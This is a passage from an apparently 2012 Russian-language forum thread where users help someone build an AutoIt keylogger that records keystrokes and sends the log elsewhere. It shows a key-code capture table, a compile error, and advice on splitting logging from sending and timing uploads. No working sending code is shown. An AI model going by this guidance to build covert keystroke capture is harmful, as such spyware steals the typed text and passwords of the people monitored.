$aCapture_Codes[32]=188
$aCapture_Codes[33]=190
$aCapture_Codes[34]=191
$aCapture_Codes[35]=49
$aCapture_Codes[36]=50
$aCapture_Codes[37]=51
$aCapture_Codes[38]=52
$aCapture_Codes[39]=53
$aCapture_Codes[40]=54
$aCapture_Codes[41]=55
$aCapture_Codes[42]=56
$aCapture_Codes[43]=57
$aCapture_Codes[44]=48
$aCapture_Codes[45]=189
$aCapture_Codes[46]=187
$aCapture_Codes[47]=106 ;* на цифровой клавиатуре
$aCapture_Codes[48]=13 ;Код клавиши Enter
Втыкай отправку и вызов функции если буду требелы пиши.
Отредактировано hd4870 (2012-03-10 15:08:12)
Поделиться102012-03-10 17:15:16
ща попробую спс что помог а то не мог достучаться
Поделиться112012-03-10 18:05:15
пишет ошибку Line5685(file"")
error"func" ststement has no matching"endfunc"
Поделиться122012-03-11 03:33:14
WipMen
функция func _OnStart() без endfunc
хотя думаю код не рабочий!
хотел бы помочь но времени нет(
с начало разберись с кейлогером а потом мути отправку это две разные исходники должны быть по идеи 1) кейлогер 2) отправка лога
Поделиться132012-03-11 03:43:45
Lyubitel можно и в один нарисовать,но гемора будет гораздо больше,да и потом этот лог нужно сначала куда нибудь записать,то есть вести сам лог,а после уже отправлять,отправлять опять же же нужно через какой то промежуток времени,а во время отправки лог писаться не будет так как он не способен работать с потоками,да файл лога нужно будет обновить.
Там даже и помогать не чему,от силы пару часов тому кто не знает autoit и пишет с справочника.
Поделиться142012-03-11 03:46:06
то есть вести сам лог,а после уже отправлять
вот я о том же))